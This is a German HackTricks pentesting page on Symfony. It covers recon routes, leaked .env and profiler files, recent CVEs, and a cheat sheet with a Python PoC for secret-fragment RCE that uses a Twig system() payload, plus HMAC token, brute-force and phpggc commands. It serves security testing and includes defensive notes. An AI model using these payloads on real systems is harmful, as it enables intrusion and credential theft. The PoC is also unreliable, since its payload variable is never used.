Symfony

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Symfony ist eines der am häufigsten verwendeten PHP-Frameworks und erscheint regelmäßig in Bewertungen von Unternehmens-, E-Commerce- und CMS-Zielen (Drupal, Shopware, Ibexa, OroCRM … alle integrieren Symfony-Komponenten). Diese Seite sammelt offensive Tipps, häufige Fehlkonfigurationen und aktuelle Schwachstellen, die Sie auf Ihrer Checkliste haben sollten, wenn Sie eine Symfony-Anwendung entdecken.

Historische Anmerkung: Ein großer Teil des Ökosystems läuft immer noch auf dem 5.4 LTS-Zweig (EOL November 2025). Überprüfen Sie immer die genaue Minor-Version, da viele Sicherheitswarnungen von 2023-2025 nur in Patch-Versionen behoben wurden (z. B. 5.4.46 → 5.4.50).


Recon & Enumeration

Fingerprinting

  • HTTP-Antwortheader: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link oder Cookies, die mit sf_redirect, sf_session, MOCKSESSID beginnen.
  • Quellcode-Leaks (composer.json, composer.lock, /vendor/…) offenbaren oft die genaue Version:
bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Öffentliche Routen, die nur auf Symfony existieren:
  • /_profiler (Symfony Profiler & Debug-Toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (schöne Fehlerseiten)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 Dev-Front-Controller)
  • Wappalyzer, BuiltWith oder ffuf/feroxbuster-Wortlisten: symfony.txt → suchen Sie nach /_fragment, /_profiler, .env, .htaccess.

Interessante Dateien & Endpunkte

PfadWarum es wichtig ist
/.env, /.env.local, /.env.prodHäufig falsch bereitgestellt → leakt APP_SECRET, DB-Credentials, SMTP, AWS-Keys
/.git, .svn, .hgQuelloffenlegung → Credentials + Geschäftslogik
/var/log/*.log, /log/dev.logFehlkonfiguration des Web-Roots exponiert Stack-Traces
/_profilerVollständige Anfragehistorie, Konfiguration, Dienstcontainer, APP_SECRET (≤ 3.4)
/_fragmentEinstiegspunkt, der von ESI/HInclude verwendet wird. Missbrauch möglich, sobald Sie APP_SECRET kennen
/vendor/phpunit/phpunit/phpunitPHPUnit RCE, wenn zugänglich (CVE-2017-9841)
/index.php/_error/{code}Fingerprinting & manchmal Leck von Ausnahme-Trace

Hochrisiko-Schwachstellen (2023-2025)

1. APP_SECRET-Offenlegung ➜ RCE über /_fragment (auch bekannt als “secret-fragment”)

  • CVE-2019-18889 ursprünglich, aber erscheint immer noch auf modernen Zielen, wenn Debug aktiviert bleibt oder .env exponiert ist.
  • Sobald Sie das 32-Zeichen APP_SECRET kennen, erstellen Sie ein HMAC-Token und missbrauchen Sie den internen render()-Controller, um beliebiges Twig auszuführen:
python
# PoC – benötigt das Secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Ausgezeichnete Beschreibung & Ausbeutungsskript: Ambionics-Blog (verlinkt in den Referenzen).

2. Windows-Prozess-Hijack – CVE-2024-51736

  • Die Process-Komponente suchte das aktuelle Arbeitsverzeichnis vor PATH unter Windows. Ein Angreifer, der tar.exe, cmd.exe usw. in einem beschreibbaren Web-Root hochladen und Process auslösen kann (z. B. Dateiextraktion, PDF-Generierung), erhält die Möglichkeit zur Befehlsausführung.
  • In 5.4.50, 6.4.14, 7.1.7 gepatcht.

3. Session-Fixation – CVE-2023-46733

  • Der Authentifizierungswächter verwendete eine vorhandene Sitzungs-ID nach dem Login erneut. Wenn ein Angreifer das Cookie vor der Authentifizierung des Opfers setzt, übernimmt er das Konto nach dem Login.

4. Twig-Sandbox-XSS – CVE-2023-46734

  • In Anwendungen, die benutzerkontrollierte Vorlagen (Admin-CMS, E-Mail-Builder) exponieren, könnte der nl2br-Filter missbraucht werden, um die Sandbox zu umgehen und JS einzufügen.

5. Symfony 1 Gadget-Ketten (immer noch in Legacy-Apps gefunden)

  • phpggc symfony/1 system id erzeugt eine Phar-Nutzlast, die RCE auslöst, wenn eine unserialize() auf Klassen wie sfNamespacedParameterHolder erfolgt. Überprüfen Sie Datei-Upload-Endpunkte und phar://-Wrapper.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

HMAC-Token für /_fragment berechnen

bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce schwaches APP_SECRET

bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE über exponierte Symfony Console

Wenn bin/console über php-fpm oder direkten CLI-Upload erreichbar ist:

bash
php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Verwenden Sie Deserialisierungs-Gadgets im Cache-Verzeichnis oder schreiben Sie eine bösartige Twig-Vorlage, die bei der nächsten Anfrage ausgeführt wird.


Defensive Hinweise

  1. Setzen Sie niemals Debug ein (APP_ENV=dev, APP_DEBUG=1) in der Produktion; blockieren Sie /app_dev.php, /_profiler, /_wdt in der Webserver-Konfiguration.
  2. Speichern Sie Geheimnisse in Umgebungsvariablen oder vault/secrets.local.php, niemals in Dateien, die über das Document Root zugänglich sind.
  3. Erzwingen Sie das Patch-Management – abonnieren Sie die Symfony-Sicherheitswarnungen und halten Sie mindestens das LTS-Patch-Level.
  4. Wenn Sie unter Windows arbeiten, aktualisieren Sie sofort, um CVE-2024-51736 zu mindern, oder fügen Sie eine open_basedir/disable_functions Verteidigungstiefe hinzu.

Nützliche offensive Werkzeuge

  • ambionics/symfony-exploits – secret-fragment RCE, Entdeckung von Debugger-Routen.
  • phpggc – Fertige Gadget-Ketten für Symfony 1 & 2.
  • sf-encoder – kleiner Helfer zur Berechnung des _fragment HMAC (Go-Implementierung).

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks